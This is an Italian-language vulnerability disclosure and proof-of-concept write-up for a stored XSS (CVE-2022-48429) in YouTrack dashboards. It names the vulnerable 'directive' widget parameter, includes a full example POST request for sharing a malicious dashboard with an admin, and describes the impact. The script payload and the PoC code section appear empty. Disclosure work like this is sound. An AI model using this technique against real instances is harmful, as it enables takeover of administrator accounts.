
PoC per CVE-2022-48429 - XSS persistente in Youtrack
La descrizione riportata della CVE sul database NVD non è accurata. Questa è una descrizione più accurata:
Youtrack (versione <= 2022.3.65373) presenta una Cross-Site Scripting (XSS) persistente (stored) nelle dashboard. Un utente malintenzionato con privilegi bassi può creare e condividere una dashboard malformata inviandola ad altri utenti (ad es. amministratori). Questo può portare alla compromissione dell'account amministratore.
Autore originale: echo-devim
Durante la ricerca di problemi di sicurezza in Youtrack versione 2022.3.65373 ho trovato una XSS nelle dashboard.
Un utente non privilegiato può creare una nuova dashboard con un widget dannoso contenente JavaScript iniettato. La dashboard può essere condivisa con altri utenti, come gli amministratori, inviando loro il codice dannoso.
Questa XSS può colpire solo gli utenti specificati ed è davvero facile indurre la vittima ad aprire la dashboard dannosa. Infatti, la nuova dashboard verrà notificata nella home page della vittima. Ho notato che la vulnerabilità è presente dalla versione 2021.4.38425, ma potrebbe essere più vecchia.
Il parametro vulnerabile è "directive" quando l'utente aggiunge un nuovo widget.
Esempio di richiesta dannosa per iniettare la XSS:
POST /hub/api/rest/dashboards/39ecb0a3-4bb5-45de-9616-9945fd284886 HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Windows x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Type: application/json;charset=utf-8
Content-Length: 1214
{"type":"DashboardJSON","id":"39ecb0a3-4bb5-45de-9616-9945fd284886","name":"testxss","owner":{"type":"user","id":"58a24bf5-53ad-4966-9b5d-63cb8dbfef0a","login":"test"},"data":{"widgets":[{"id":"youtrack-activities-widget","directive":"","grid":{"width":2,"height":2,"y":0,"x":0},"config":{"created":"2023-03-17T10:04:50.590Z","customWidgetConfig":{"filter":{"title":null,"query":"by: me","author":null,"categoriesIds":["IssueCreatedCategory","ProjectCategory","SummaryCategory","DescriptionCategory","CustomFieldCategory","AttachmentsCategory","LinksCategory","CommentsCategory"],"youTrack":{"id":"731f4f21-b0f9-42bd-9509-127b2d0585e1","homeUrl":"/"},"refreshPeriod":240}}}}]},"permission":"OWNER","access":"OWNER","favorite":true,"ordinal":0,"permissions":[{"type":"UserDashboardPermissionJSON","id":"42e794d7-0009-4b00-83f4-45991a0392f0","permission":"VIEW","user":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"},"personality":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a","name":"admin","login":"admin","profile":{"avatar":{"type":"defaultavatar","url":"http://localhost:8081/hub/api/rest/avatar/fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"}}}}]}
Quindi, aggiornando la pagina avremo la XSS:

Questa XSS può consentire a un utente con privilegi bassi di effettuare phishing tramite moduli di login falsi, reindirizzare il browser dell'utente o persino eseguire operazioni da amministratore.
Ancora peggio se la piattaforma ha la registrazione utenti abilitata, questo può consentire a un attaccante esterno di registrare un nuovo utente ed eseguire l'attacco.
Come PoC ho utilizzato un utente di test con privilegi bassi per cambiare il nome completo dell'account amministratore.
Codice del PoC:
Questa gif animata mostra gli effetti. La finestra a sinistra è la pagina relativa all'utente non privilegiato e la finestra a destra è l'amministratore.
